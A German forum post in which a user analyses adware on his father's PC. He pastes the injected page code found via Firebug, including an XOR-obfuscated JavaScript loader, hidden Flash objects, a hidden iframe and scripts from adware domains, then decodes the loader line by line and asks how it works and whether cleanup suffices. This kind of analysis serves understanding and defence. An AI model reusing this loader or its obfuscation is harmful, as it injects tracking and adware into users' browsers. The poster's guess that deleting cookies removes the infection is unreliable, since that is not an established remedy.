Hey, Leute!
Mein Vater hat mich neulich um Hilfe bei seinem PC gebeten - auf allen möglichen Webseiten waren plötzlich extrem viele Ads und das Firefox-Plugin ABP hat ihm auch nicht geholfen.
Mir ist aber aufgefallen, dass bei jeder(!) aufgerufenen Seite (also inklusive Google, ... und natürlich Netbanking) auch andere Seiten geladen werden.
Also, Tamper Data installiert, und mal geschaut, was sich denn da so einnistet.
Das Ergebnis: i.tracksrv.com
Hab mal schnell danach gegoogled, aber keine Infos gefunden.
Da die Seite ja ohnehin überall mitgeladen wird, habe ich diese direkt im Browser aufgerufen.
Das Ergebnis war eine leere Seite, im Quellcode war auch nichts zu sehen, was mich sehr verwundert hat. Firebug hat allerdings sehr wohl etwas auf der Seite gefunden.
Hier mal meine erste Frage: Wie kann es sein, dass der Quellcode leer ist, die Seite nichts anzeigt, aber Firebug trotzdem HTML-Code anzeigt?
Ich habe dann den .js-Code herauskopiert, und das Ergebnis war obfusciated.
<head></head><body><div id="_GPL_e6a00_parent_div" style="position: absolute; top: 0px; left: 0px; width: 1px; height: 1px; z-index: 2147483647;"><object data="http://cdncache1-a.akamaihd.net/items/e6a00/storage.swf?r=1" id="_GPL_e6a00_swf" type="application/x-shockwave-flash" height="1" width="1"><param value="transparent" name="wmode"><param value="always" name="allowscriptaccess"><param value="logfn=_GPL.items.e6a00.log&onload=_GPL.items.e6a00.onload&onerror=_GPL.items.e6a00.onerror&LSOName=gpl" name="flashvars"></object></div><pre></pre><script id="script_197243daA9466AF2">(function(){var Exca=function(y,i){var f='',w="fromCharCode",m='charCodeAt',s='length';for(var l=0;l<y[s];l++){f+=String[w](y[m](l)^i);}return f;};(function(p,c,t,g,v,u,a,h,r,q,e,d){ if(19688)j=5422;else{k=false;};var x={},n=g[v](u);b=true;x[p]=q;if("SP0YnRnxzCAOlytf")o=15788;x[c]=e;if('Y9dv'){z='0G8RUI6NEf9';};window[t]=x;sf="fLz79mbYjqEGs9qFSEZsuD4Ul9";n[a]=d;jn=19685;g[h][r](n)})(Exca("\u0042\u0051\u0046\u0047\u005d\u005b\u005a",52),Exca('\u0057\u0058\u005d\u0051\u005a\u0040\u0041\u005d\u0050',52),Exca("\u006b\u0046\u0042\u004e",52),document,Exca('\u0057\u0046\u0051\u0055\u0040\u0051\u0071\u0058\u0051\u0059\u0051\u005a\u0040',52),Exca('\u0047\u0057\u0046\u005d\u0044\u0040',52),Exca("\u0047\u0046\u0057",52),Exca("\u0056\u005b\u0050\u004d",52),Exca("\u0055\u0044\u0044\u0051\u005a\u0050\u0077\u005c\u005d\u0058\u0050",52),'116',Exca('\u0017\u0041\u005d\u0050\u0017',52),Exca("\u001b\u001b\u0047\u0040\u0040\u001a\u0047\u0040\u0046\u0051\u0055\u0059\u005e\u0047\u001a\u005a\u0051\u0040\u001b\u0047\u0050\u001b\u0006\u0004\u0003\u0004\u001b\u0006\u0004\u0006\u0004\u001a\u005e\u0047",52));})();</script><script src="//stt.streamjs.net/sd/2070/2020.js"></script><script src="http://ujm.clstrhost.net/amz/aeyJ2ZXJzaW9uIjoiMTE2IiwiY2xpZW50dWlkIjoiI3VpZCMiLCJhZmZpZCI6MjA3MCwic3ViYWZmaWQiOjIwMjAsImhyZWYiOiJodHRwOi8vaS50cmFja3Nydi5jb20vIiwid2lkdGgiOjE5MjAsImhlaWdodCI6MTIwMCwibG9hZGVyX2NsaWVudF90aW1lc3RhbXAiOjEzNzM0NDE0NTQ2Nzl9.js"></script><script src="http://ujm.clstrhost.net/sd/apps/spops-2.0.2.js" charset="UTF-8" type="text/javascript"></script><script src="http://www.superfish.com/ws/sf_main.jsp?dlsource=sfrvzr&userId=0cc6ebfef5dd4715b44d138d0875c1c2&CTID=rvzr2070_2020_at" charset="UTF-8" type="text/javascript"></script><script src="http://i.rvzrjs.info/rvzr/javascript.js?channel=rvzr2070_2020_at" charset="UTF-8" type="text/javascript"></script><script src="http://ujm.clstrhost.net/sd/apps/wsar-1.460.js" charset="UTF-8" type="text/javascript"></script><iframe src="//www.onlineaway.net/link/r/pquery-0.0.1.html?peid=889339&aff=2070-2020&brwsr=onlineaway&purl=www.onlineaway.net" style="display: none;"></iframe><div style="position: absolute; width: 1px; height: 1px;" id="dp_swf_engine"><object style="width: 1px; height: 1px;" id="_dp_swf_engine" data="http://www.ajaxcdn.org/swf.swf" type="application/x-shockwave-flash" height="1" width="1"><param value="always" name="allowscriptaccess"></object></div></body><script type="application/x-javascript" src="http://i.rvzrjs.info/opt_1373372259921/opt_content.js?partner=rvzr&channel=rvzr2070_2020_at&appTitle="></script>
Was mir aufgefallen ist, waren die eigenartigen Funktionen, unter anderem "Exca"
Dieser Befehl wird ja mehrmals ausgeführt, offensichtlich, um einen String aus (für die meisten 'normalen' Menschen unlesbaren) Characters zusammenzubauen.
Da Exca mit einem return endet, habe ich einfach die Funktion auf jedes Element aus der anderen Funktion angewendet, und das Ergebnis in einer Alert-Box anzeigen lassen.
Ich war so frei und habe die Variablen manuell mit Kommentaren versehen, um das alles etwas lesbarer zu gestalten...
Hier ist mein Ergebnis:
(
function(){
var Exca=function(y,i){
var f='',w="fromCharCode",m='charCodeAt',s='length';
for(var l=0;l<y[s];l++){
f+=String[w](y[m](l)^i);
}return f;
};
(
function(p,c,t,g,v,u,a,h,r,q,e,d){
//==input variables==
//p = "version"
//c = "clientuid"
//t = "_rvz"
//g = document
//v = "createElement"
//u = "script"
//a = "src"
//h = "body"
//r = "appendChild"
//q = 116
//e = "#uid#"
//d = "//stt.streamjs.net/sd/2070/2020.js"
//==derived variables==
//j = 5422
//x = {}
//n = document[createElement](script)
//b = true
//x[version] = 116
//o = 15788
//x[clientuid] = #uid#
//z = '0G8RUI6NEf9'
//window[_rvz] = array: version -> 116; clientuid -> #uid#
//sf = "fLz79mbYjqEGs9qFSEZsuD4Ul9"
//document[createElement](script)[_rvz] = array: version -> 116; clientuid -> #uid#
//jn=19685;
//document[body][appendChild]( document[createElement](script)[_rvz] = array: version -> 116; clientuid -> #uid# )
if(19688)j=5422;else{ //if tautology?
k=false; //k does not appear within the function
};
var x={},n=g[v](u);
b=true;
x[p]=q;
if("SP0YnRnxzCAOlytf")o=15788; //if tautology?
x[c]=e;
if('Y9dv'){ //if tautology?
z='0G8RUI6NEf9';
};
window[t]=x;
sf="fLz79mbYjqEGs9qFSEZsuD4Ul9";
n[a]=d;
jn=19685;
g[h][r](n)
})
(
Exca("\u0042\u0051\u0046\u0047\u005d\u005b\u005a",52), // version
Exca('\u0057\u0058\u005d\u0051\u005a\u0040\u0041\u005d\u0050',52), // clientuid
Exca("\u006b\u0046\u0042\u004e",52), // _rvz
document,
Exca('\u0057\u0046\u0051\u0055\u0040\u0051\u0071\u0058\u0051\u0059\u0051\u005a\u0040',52), // createElement
Exca('\u0047\u0057\u0046\u005d\u0044\u0040',52), // script
Exca("\u0047\u0046\u0057",52), // src
Exca("\u0056\u005b\u0050\u004d",52), // body
Exca("\u0055\u0044\u0044\u0051\u005a\u0050\u0077\u005c\u005d\u0058\u0050",52), // appendChild
'116',
Exca('\u0017\u0041\u005d\u0050\u0017',52), // #uid#
Exca("\u001b\u001b\u0047\u0040\u0040\u001a\u0047\u0040\u0046\u0051\u0055\u0059\u005e\u0047\u001a\u005a\u0051\u0040\u001b\u0047\u0050\u001b\u0006\u0004\u0003\u0004\u001b\u0006\u0004\u0006\u0004\u001a\u005e\u0047",52) // //stt.streamjs.net/sd/2070/2020.js
);
}
)();
Alles anzeigen
Die wichtigste Zeile ist wohl die letzte meiner "derived Variables"...
Was ich besonders komisch gefunden habe waren die if-Abfragen. Ich meine, das sind ja alles Tautologien, oder?
Alles in allem scheint mir, als würde diese .js einfach eine andere in den document body laden - das kann ja dann eine "Kette" auslösen, und ich hab nicht vor, //stt.streamjs.net/sd/2070/2020.js auch noch durchzuchecken (oder evtl. zu noch anderen Seiten dieser Art weitergeleitet zu werden)
Ich habe dann noch die Cookies durchsucht - es war eine Riesenmenge von tracksrv und anderen obscuren Quellen. Hab also erst mal alle von denen gelöscht. Damit war der Spuk erstmal vorbei. Tamper Data hat mir sichergestellt, dass Google wirklich nur Google und nichts anderes reinlädt.
Als Ursache für das ganze sehe ich eine Mail, irgendwas wie administrator@shop24.de oder so, mit einem klassischen Link zu einer .exe, die ja eine Rechnung anzeigt. Die .exe war nicht verfügbar, aber meinem Vater ist die Webseite komisch vorgekommen, auf die er weitergeleitet worden ist. Ich denke, dass dort alles begonnen hat, weil das Timing mit den Ads einfach stimmt.
Ich habe meinem Vater dann dringendst empfohlen, seine Passwörter sofort zu ändern. Ist das die Endlösung, oder könnten die Cookies und das ganze tracksrv-Zeugs ohne Vorwarnung (aka keine komischen Links gedrückt) wieder von vorne beginnen? Außerdem würde mich interessieren, wie der ganze Code überhaupt funktioniert. Also automatische Cookieerstellung (kann ich mir noch vorstellen), und das effektive Einbauen von externen Seiten - das alles wegen einem .js File?